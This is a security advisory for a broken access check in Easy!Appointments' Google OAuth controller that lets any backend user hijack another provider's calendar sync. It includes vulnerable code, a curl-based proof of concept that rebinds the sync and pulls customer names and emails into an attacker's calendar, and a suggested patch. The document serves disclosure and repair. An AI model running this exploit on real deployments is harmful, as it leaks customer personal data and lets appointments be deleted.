Summary

Google::oauth at application/controllers/Google.php:278 stores its URL-supplied provider_id in the session, and oauth_callback saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.

Preconditions

• Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
• The instance has Google Calendar OAuth configured at application/config/google.php - i.e. any deployment that uses the Google sync feature at all.
• Default deployment per the project's own docker-compose.yml; no non-default flags required.

Details

// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
    if (!$this->session->userdata('user_id')) {
        show_error('Forbidden', 403);
    }

    // Store the provider id for use on the callback function.
    session(['oauth_provider_id' => $provider_id]);                       // (*) attacker-chosen id stored unchecked

    // Redirect browser to google user content page.
    header('Location: ' . $this->google_sync->get_auth_url());
}

// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
    if (!session('user_id')) {
        abort(403, 'Forbidden');
    }

    $code = request('code');
    if (empty($code)) { response('Code authorization failed.'); return; }

    $token = $this->google_sync->authenticate($code);
    if (empty($token)) { response('Token authorization failed.'); return; }

    $oauth_provider_id = session('oauth_provider_id');
    if ($oauth_provider_id) {
        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
    } else {
        response('Sync provider id not specified.');
    }
}

The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
    throw new RuntimeException('You do not have the required permissions for this task.');
}

oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.

The attack chain that delivers the data:

• Synchronization::sync_appointment_saved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::save_appointment at application/controllers/Calendar.php:306). When $provider['settings']['google_sync'] is truthy the handler reads google_token from the row - now the attacker's - refreshes it, and calls Google_sync::add_appointment.
• Google_sync::add_appointment at application/libraries/Google_sync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email.
• The cron-triggered Console::sync -> Google::sync($provider_id) at application/controllers/Google.php:44 walks the existing sync_past_days and sync_future_days windows and pushes every appointment to the attacker's calendar.
• The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

   git clone https://github.com/alextselegidis/easyappointments
   cd easyappointments
   git checkout 1.5.2
   cp config-sample.php config.php
   docker compose up -d
   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done

2. Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

   docker compose exec -T php-fpm php index.php console install

3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauth_callback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.

4. Log in as administrator and persist the cookie jar (the project's session cookie is ea_session):

   export ADMIN_JAR=/tmp/admin.cookies
   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=administrator" \
     --data-urlencode "password=administrator" > /dev/null

5. Create the attacker provider (the default require_phone_number=1 setting makes that field mandatory). Capture both ids:

   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode 'provider[first_name]=Mal' \
     --data-urlencode 'provider[last_name]=Lory' \
     --data-urlencode 'provider[email]=mallory@x.test' \
     --data-urlencode 'provider[phone_number]=+10000000000' \
     --data-urlencode 'provider[timezone]=UTC' \
     --data-urlencode 'provider[language]=english' \
     --data-urlencode 'provider[settings][username]=mallory' \
     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
     --data-urlencode 'provider[settings][notifications]=0'
   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")

6. Log in as the attacker provider into a dedicated cookie jar:

   export ATTACKER_JAR=/tmp/attacker.cookies
   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=mallory" \
     --data-urlencode "password=Attacker-pw-1" > /dev/null

Exploit

1. The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:

   curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5

   Expected: HTTP/1.1 302 Found with Location: https://accounts.google.com/o/oauth2/auth?... - the server accepted the call from a non-owning caller. Verify the session-side effect on disk: docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$6=="ea_session"{print $7}' $ATTACKER_JAR) shows oauth_provider_id|s:1:"<VICTIM_ID>" appended to the attacker's session data alongside their own user_id|i:<ATTACKER_ID>.

2. The attacker copies the ea_session cookie from $ATTACKER_JAR into a real browser, opens the redirect URL, signs in to Google with their own Google account, and grants consent. Google redirects back to http://localhost/index.php/google/oauth_callback?code=... and the app exchanges the code for an access + refresh token.

3. Confirm the row was rebound. The token, sync flag, and calendar selection now belong to the attacker's Google account but sit on the victim's ea_user_settings:

   docker compose exec -T mysql mysql -uuser -ppassword easyappointments \
     -e "SELECT name, value FROM ea_user_settings WHERE id_users=$VICTIM_ID AND name IN ('google_sync','google_token','google_calendar')"

   Expected: google_sync = 1, google_token = {"access_token":"...","refresh_token":"..."} (attacker's), google_calendar = primary.

4. Trigger a sync. Any unauthenticated booking against the victim provider now lands in the attacker's calendar:

   CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
   curl -s -c /tmp/booking.cookies http://localhost/ -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' /tmp/booking.cookies)
   curl -s -b /tmp/booking.cookies -X POST http://localhost/index.php/booking/register \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "post_data[manage_mode]=false" \
     --data-urlencode "post_data[appointment][id_users_provider]=$VICTIM_ID" \
     --data-urlencode "post_data[appointment][id_services]=1" \
     --data-urlencode "post_data[appointment][start_datetime]=2026-06-01 10:00:00" \
     --data-urlencode "post_data[appointment][end_datetime]=2026-06-01 10:30:00" \
     --data-urlencode "post_data[customer][first_name]=Carol" \
     --data-urlencode "post_data[customer][last_name]=Victim" \
     --data-urlencode "post_data[customer][email]=carol@target.test"

   Expected: the attacker's Google calendar receives a new event whose title is the service name, with Carol Victim <carol@target.test> listed as an attendee.

Impact

• Confidentiality: Reads every appointment booked against the victim provider; the customer's first name, last name, and email attach to each Google calendar event as attendee data (Google_sync.php:184-189).
• Integrity: Deletes any of the victim provider's appointments by removing the matching event from the attacker's calendar; the next Console::sync removes the local row (Google.php:186-191).
• Integrity: Inserts arbitrary unavailability records onto the victim provider's schedule by creating events in the attacker's calendar (Google.php:209-254).

Suggestions to fix

This has not been tested - it is illustrative only.

Reject the call unless the caller is an admin or the provider whose row is about to be rewritten - the same gate select_google_calendar and disable_provider_sync already use.

 public function oauth(string $provider_id): void
 {
     if (!$this->session->userdata('user_id')) {
         show_error('Forbidden', 403);
     }

+    if (cannot('edit', PRIV_USERS) && (int) session('user_id') !== (int) $provider_id) {
+        abort(403, 'Forbidden');
+    }
+
     // Store the provider id for use on the callback function.
     session(['oauth_provider_id' => $provider_id]);

     // Redirect browser to google user content page.
     header('Location: ' . $this->google_sync->get_auth_url());
 }

Credit

Dredsen, 2026.

References

• GHSA-8hm4-r66f-29wr
• https://nvd.nist.gov/vuln/detail/CVE-2026-52841
• alextselegidis/easyappointments@4b2d245
• https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0